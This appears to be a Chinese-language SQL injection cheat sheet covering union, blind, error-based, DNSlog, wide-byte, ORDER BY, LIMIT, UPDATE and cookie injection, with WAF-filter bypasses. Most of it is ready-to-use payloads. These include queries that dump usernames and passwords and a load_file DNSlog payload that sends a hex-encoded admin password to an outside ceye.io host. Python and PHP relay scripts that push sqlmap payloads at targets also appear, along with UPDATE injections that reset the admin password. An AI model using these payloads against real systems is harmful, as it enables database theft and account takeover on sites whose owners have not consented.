注入类型

注入分类

  • 布尔型盲注:根据返回页面判断条件真假

  • 时间型盲注:用页面返回时间是否增加判断是否存在注入

  • 基于错误的注入:页面会返回错误信息

  • 联合查询注入:可以使用union的情况下

  • 堆查询注入:可以同时执行多条语句

注入技巧

  • 宽字节注入:

  • DNSlog盲注

  • 二阶注入

  • 中转注入

  • Base64变形注入

  • Order-By注入

  • limit 注入

  • cookie注入

  • 过滤逗号的注入

  • 过滤”>”尖括号的注入

  • 未知列名的注入


联合查询注入:union

在参数后添加引号尝试报错,并用and 1=1#和and 1=2#测试报错

1
2
?id=1' and 1=1#		页面返回正常
?id=1' and 1=2# 页面返回不正常
  • 利用order by猜测字段
1
2
3
4
5
6
7
?id=1%27%20order%0aby%0c2%23	--返回正常
--上边用%0a和%0c的URL编码可以代替空格,到数据库后就是空格的意思
?id=1%27 order by 3# --返回正常
?id=1%27 order by 4# --返回正常
?id=1%27 order by 5# --返回错误

--这就证明字段总数为4
  • 利用union联合查询
1
2
3
4
5
?id=-1%27 union select 1,2,3,4#
--看哪个字段可以显示信息,利用它获取数据库信息

--修改id为一个不存在的id,强行报错
--因为代码默认只返回第一条结果,不会返回 union select 的结果
  • 获取数据库信息
1
2
3
4
5
6
7
8
9
10
11
12
id=-1%27 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version())#

user() --获取数据库用户名
database() --获取数据库名
version() --获取数据库版本信息
concat_ws(separator,str1,str2,...) --含有分隔符地连接字符串
--里边这的separator分隔符,用 char() 函数把 空格:空格 的ASCII码输出

--其它信息
@@datadir --数据库路径
@@version_compile_os --操作系统版本

  • 查询数据库的表
1
2
3
4
id=-1%27 union select 1,2,3,table_name from information_schema.tables where table_schema='sqli' limit 0,1#

--table_schema=数据库名16进制或者用单引号括起来
--改变limit 0,1中前一个参数,得到所有表
  • 查询数据库字段
1
id=-1%27 union select 1,2,3,column_name from information_schema.columns where table_schema=%27数据库名%27 and table_name=%27表名%27limit 0,1#
  • 脱裤,获取数据
1
2
3
union select 1,2,3,group_concat(name,password)%20from%20sc#
--用字段名从表中取数据
group_concat(str1,str2,...) --连接一个组的所有字符串

布尔型盲注:Boolean

布尔型盲注,页面不返回查询信息的数据,只能通过页面返回信息的真假条件判断是否存在注入。

  • 在参数后添加引号尝试报错,并用and 1=1#和and 1=2#测试报错
1
2
?id=1' and 1=1#		页面返回正常
?id=1' and 1=2# 页面返回不正常
  • 判断数据库名的长度
1
2
3
4
5
1'and length(database())>=1--+		页面返回正常
1'and length(database())>=13--+ 页面返回正常
1'and length(database())>=14--+ 页面返回错误

由此判断得到数据库名的长度是13个字符
  • 猜解数据库名

  • 使用逐字符判断的方式获取数据库名;

  • 数据库名的范围一般在az、09之内,可能还会有特殊字符 “_”、”-“ 等,这里的字母不区分大小写。

1
2
3
4
' and substr(database(),1,1)='a'--+
' and substr(database(),2,1)='a'--+

substr 的用法和 limit 有区别,limit从 0 开始排序,这里从 1 开始排序。
  • 用Burp爆破字母a的位置,即可得到数据库名每个位置上的字符。

还可以用ASCII码查询

1
2
3
4
5
a的ASCII码是97,在MySQL中使用ord函数转换ASCII,所以逐字符判断语句可改为:

' and ord(substr(database(),1,1))=97--+

ASCII码表中可显示字符的范围是:0~127
  • 判断数据库表名
1
2
3
4
' and substr((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),1,1)='a'--+

--修改1,1前边的1~20,逐字符猜解出第一个表的名
--修改limit的0,1前边的0~20,逐个猜解每个表
  • 判断数据库字段名
1
2
3
4
' and substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)='a'--+

--修改1,1前边的1~20,逐字符猜解出第一个字段的名
--修改limit的0,1前边的0~20,逐个猜解每个字段
  • 取数据
1
' and substr((select 字段名 from 表名 limit 0,1),1,1)='a'--+

当然如果嫌用Burp慢的话,可以自己编写脚本,修改payload就行了

一般盲注的话都是自己写脚本比较快。

报错注入

在SQL注入攻击过程中,服务器开启了错误回显,页面会返回错误信息,利用报错函数获取数据库数据。

  • 常用的MySQL报错函数
1
2
3
4
5
6
7
8
9
--xpath语法错误
extractvalue() --查询节点内容
updatexml() --修改查询到的内容
它们的第二个参数都要求是符合xpath语法的字符串
如果不满足要求则会报错,并且将查询结果放在报错信息里

--主键重复(duplicate entry)
floor() --返回小于等于该值的最大整数
只要是count,rand(),group by 三个连用就会造成这种主键重复报错
  • 尝试用单引号报错

  • 获取数据库名

1
2
3
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

--0x7e是"~"符号的16进制,在这作为分隔符
  • 获取表名
1
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),0x7e),1)--+
  • 获取字段名
1
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),0x7e),1)--+
  • 取数据
1
' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)--+
  • 其它函数payload语法:
1
2
3
4
5
--extractvalue
' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

--floor()
' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

时间型盲注

盲注是在SQL注入攻击过程中,服务器关闭了错误回显,单纯通过服务器返回内容的变化来判断是否存在SQL注入的方式 。

可以用benchmark,sleep等造成延时效果的函数。

如果benkchmark和sleep关键字被过滤了,可以让两个非常大的数据表做笛卡尔积 
(opens new window)
产生大量的计算从而产生时间延迟;

或者利用复杂的正则表达式去匹配一个超长字符串来产生时间延迟。

  • 利用sleep判断数据库名长度
1
2
3
4
5
' and sleep(5) and 1=1--+	页面返回不正常,延时5秒
' and sleep(5) and 1=2--+ 页面返回不正常,不延时

and if(length(database())>1,sleep(5),1)
--if(条件表达式,真,假) --C语言的三目运算符类似
  • 获取数据库名
1
and if(substr(database(),1,1)='a',sleep(5),1)--+

具体数据以此类推即可。

时间型盲注的加速方式

  • Windows平台上的Mysql可以用DNSlog加速注入

  • 利用二分查找法

sqlmap盲注默认采用的是二分查找法

利用 ASCII 码作为条件来查询,ASCII 码中字母范围在65122之间
以这个范围的中间数为条件,判断payload中传入的 ASCII 码是否大于这个中间数
如果大于,就往中间数
122这块查找。反之亦然

DNSlog盲注详解

  • DNS在解析的时候会留下日志,通过读取多级域名的解析日志,获取请求信息;

  • DNSlog就是记录用户访问网站域名时,记录DNS和对应的IP的转换访问日志;

  • MySQL Load_File()函数可以发起请求,使用Dnslog接收请求,获取数据;

  • 通过SQL执行后,将内容输出到DNSlog中记录起来,然后我们可以在DNSlog平台查询回显数据

1
2
3
union select 1,2,load_file(CONCAT('\\',(SELECT hex(pass) FROM user WHERE name='admin' LIMIT 1),'.mysql.wintrysec.ceye.io\abc'))

--Hex编码的目的是减少干扰,域名有一定的规范,有些特殊字符不能带入

注意:load_file()只能在windows平台上才能发起请求,linux下做dnslog攻击是不行的
因为UNC通用命名规范, \server\share_name
上边 CONCAT 应该写四个反斜杠 \,因为最后会被转义成两个
因为Linux没有遵守UNC,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的

MySQL数据库配置中要设置secure_file_priv为空,才能完整的去请求DNS
secure-file-priv参数是用来限制 LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的
ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

  • 在时间型盲注中用DNSlog加速注入
1
'and if((SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(database())),'.xxx.ceye.io\\abc'))),sleep(5),1)%23

宽字节注入(过滤了单引号)

在数据库中使用了宽字符集(GBK,GB2312等),除了英文都是一个字符占两字节;
MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(ascii>128才能达到汉字范围);
在PHP中使用addslashes函数的时候,会对单引号%27进行转义,在前边加一个反斜杠”\”,变成%5c%27;
可以在前边添加%df,形成%df%5c%27,而数据进入数据库中时前边的%df%5c两字节会被当成一个汉字;
%5c被吃掉了,单引号由此逃逸可以用来闭合语句。

  • 使用PHP函数iconv(‘utf-8’,’gbk’,$_GET[‘id’]),也可能导致注入产生

  • 修复建议:

1
2
3
(1)使用mysqli_set_charset(GBK)指定字符集

(2)使用mysqli_real_escape_string进行转义

二阶注入

当数据首次插入到数据库中时,许多应用程序能够安全处理这些数据;addslashes() 等字符转义函数。
一旦数据存储在数据库中,随后应用程序本身或其它后端进程可能会以危险的方式处理这些数据。
许多这类应用并不像面向因特网的主要应用程序一样安全,却拥有较高权限的数据库账户。

中转注入

当网站做了token保护或js前端加密的情况下;
对于这些站点当手工发现了注入点,但并不适用于用sqlmap等工具跑,可以做中转注入;
本地起个Server,然后用sqlmap扫这个server,Server接收到payload后加到表单中提交。

  • Python+selenium做中转注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from flask import Flask
from flask import request
from selenium import webdriver
driver_path = "C:/Users/Administrator/AppData/Local/Programs/Python/Python37/Lib/site-packages/selenium/webdriver/chrome/chromedriver.exe"
chrome = webdriver.Chrome(driver_path)
chrome.get("http://127.0.0.1")#目标注入点
app = Flask(__name__)

def send(payload):
#起到中转payload效果。
chrome.find_element_by_id("username").send_keys(payload) #把payload填到有注入点的地方
chrome.find_element_by_id("password").send_keys("aaaa")
chrome.find_element_by_id("submit").click()
return "plase see flask server!" #随便返回一下不重要

@app.route('/')
def index():
# 接收sqlmap传递过来的payload
payload = request.args.get("payload")
return send(payload)

if __name__ == "__main__":
app.run()
  • 用PHP做中转注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
//先开启php.ini 中的extension=php_curl.dll
set_time_limit(1);
$curl = curl_init();//初始化curl
$id = $_GET['id'];
//替换id空格和=
$id = str_replace(" ","%20",$id);
$id = str_replace("=","%3D",$id);
$url = "http://xxx.com/aaa.php";
// 设置目标URL
curl_setopt($curl, CURLOPT_URL, $url);
// 设置header
curl_setopt($curl, CURLOPT_HEADER, 0);
// 设置cURL 参数,要求结果保存到字符串中还是输出到屏幕上。
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 0);
// 运行cURL,请求网页
$data = curl_exec($curl);
// 关闭URL请求
curl_close($curl);
?>
  • sqlmap不能忽略证书,跑不了https的网站
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
$url = "https://x.x.x.x/aaa.php";
$sql = $_GET[arg];
$s = urlencode($sql);
$params = "email=$s&password=aa";

//写出到文件分析.
$fp=fopen('result.txt','a');
fwrite($fp,'Params:'.$params."\n");
fclose($fp);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书和hosts
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0');
curl_setopt($ch, CURLOPT_TIMEOUT, 15);

curl_setopt($ch, CURLOPT_POST, 1); // post 提交方式
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);

$output = curl_exec($ch);
curl_close($ch);
$a = strlen($output);

if($a==2846){
echo "1";
}else{
echo "2";
}

Base64变形注入

1
2
http://xxx.com/?id=MQ==		只加密参数
http://xxx.com/?aWQ9MQ== 连参数名一起加密了
  • 只加密参数,用sqlmap的脚本就行
1
sqlmap -u http://xxx.com/?id=MQ== --tamper base64encode.py --dbs
  • 参数名也加密了,用中转注入
1
2
3
4
5
//trans_sqli.php
<?php
$id=base64_encode("id=".$_GET['id']);
echo file_get_contents("http://xxx.com/sqli.php?{$id}"); //sqli.php是原网页
?>
1
sqlmap-u "http://127.0.0.1/trans_sqli.php?id=12" -v3 --dbs

过滤逗号的注入

  • 盲注的时候
1
2
3
4
5
6
7
LIMIT M OFFSET N
--这里的 M 是最大回显限度,N是偏移量
--与limit N,M 有相同效果

' and ascii(substr((select database()),1,1))=xxx#
--可变为
' and ascii(substr((select database())from 1 for 1))=xxx#
  • union联合查询注入时
1
2
3
4
union select 1,2,3
union select * from ((select 1)a JOIN (select 2)b JOIN (select 3)c)%23

union select * from ((select 1)a JOIN (select 2)b JOIN (select CONCAT_WS(CHAR(32,58,32),user(),database(),version()))c)%23

过滤”>”尖括号的注入

在sqlmap中使用between and 代替其它字符加上 –tamper=between 即可

  • 判断条件真假
1
2
3
4
5
6
2 > 1   #真
0 > 1 #假

#以下用between and 实现判断真假
2 between 1 and 3 #真
3 betwwen 1 and 2 #假

between and还支持16进制,所以可以用16进制,来绕过单引号的过滤

1
2
3
select database() between 0x61 and 0x7a;
--意思同下
select database() between 'a' and 'z';

#未知列名注入

  • mysql版本 大于5.0 或在利用SQL注入的时候遇到了WAF;

  • 安全狗3.5版本会直接拦截关键字information_shema;

  • 从而无法获取数据表的列名,这时可以利用虚表获取数据。

1
2
-1 union select 1,(select `4` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
--可以通过不停的修改列名1,2,3,4来提取数据( 改这个用反引号包裹的`4`)

Order-By注入

order by 注入是SQL注入中很常见的,被过滤的概率小;

可被用户控制的数据在order by 子句后边,即order参数可控。

利用报错

  • 利用regexp
1
2
http://192.168.239.2:81/?order=(select+1+regexp+if(1=1,1,0x00)) 正常
http://192.168.239.2:81/?order=(select+1+regexp+if(1=2,1,0x00)) 错误
  • 利用updatexml
1
2
http://192.168.239.2:81/?order=updatexml(1,if(1=1,1,user()),1)  正确
http://192.168.239.2:81/?order=updatexml(1,if(1=2,1,user()),1) 错误
  • 利用extractvalue
1
2
http://192.168.239.2:81/?order=extractvalue(1,if(1=1,1,user())) 正确
http://192.168.239.2:81/?order=extractvalue(1,if(1=2,1,user())) 错误

利用时间盲注

1
2
/?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间
/?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2

数据猜解

  • 以猜解user()即root@localhost为例子,由于只能一位一位猜解;

  • 可以利用SUBSTR,SUBSTRING,MID,以及left和right可以精准分割出每一位子串;

  • 然后就是比较操作了可以利用=,like,regexp等;

  • 这里要注意like是不区分大小写;

  • 通过以下可以得知user()第一位为r,ascii码的16进制为0x72

1
2
http://192.168.239.2:81/?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) 正确
http://192.168.239.2:81/?order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) 错误
  • 猜解当前数据的表名
1
2
/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00))  正确
/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) 错误
  • 猜解指定表名中的列名
1
2
/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常
/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) 错误

limit 注入

limit用法

1
2
3
4
5
格式:
limit m,n
--m是记录开始的位置,n是取n条数据
limit 0,1
--从第一条开始,取一条数据
  • 适用于5.0.0<mysql<5.6.6的版本
1
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT (注入点)
  • 确认有注入点前面有 order by 关键字,没法用union

  • 在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的;

报错注入

1
?id=1 procedure analyse(extractvalue(rand(),concat(0x7e,database())),1);

时间型盲注

直接使用sleep不行,需要用BENCHMARK代替

1
?id=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x7e,(IF(MID(database(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

利用update

SQL里面只有update怎么利用?

  • 这种方式会修改数据,很危险,在授权测试允许的情况下才考虑

  • 一般在用户修改密码的地方

1
2
3
# 先理解这句 SQL

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'

如果此 SQL 被修改成以下形式,就实现了注入

  • 修改 homepage 值为 http://baidu.com', userlevel='3 之后 SQL 语句变为:
1
2
3
UPDATE user SET password='mypass', homepage='http://baidu.com', userlevel='3' WHERE id='$id'

-- userlevel 为用户级别
  • 修改 password 值为 mypass)' WHERE username='admin'# 之后 SQL 语句变为:
1
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
  • 修改 id 值为 ' OR username='admin' 之后 SQL 语句变为:
1
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

Cookie注入

  • cookie注入其原理也和平时的注入一样,只不过说我们是将提交的参数已cookie方式提交了,而一般的注入我们是使用get或者post方式提交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。

  • 相对post和get方式注入来说,cookie注入就要稍微繁琐一些了,要进行cookie注入,我们首先就要修改cookie,这里就需要使用到Javascript语言了。另外cookie注入的形成有两个必须条件,条件1是:程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。条件2是:在条件1的基础上还需要程序对提交数据获取方式是直接request(“xxx”)的方式,未指明使用request对象的具体方法进行获取

注入场景

  • 程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。

  • 在条件1的基础上还需要程序对提交数据获取方式是直接request(“xxx”)的方式,未指明使用request对象的具体方法进行获取。

  • 配合抓包工具(burp)使用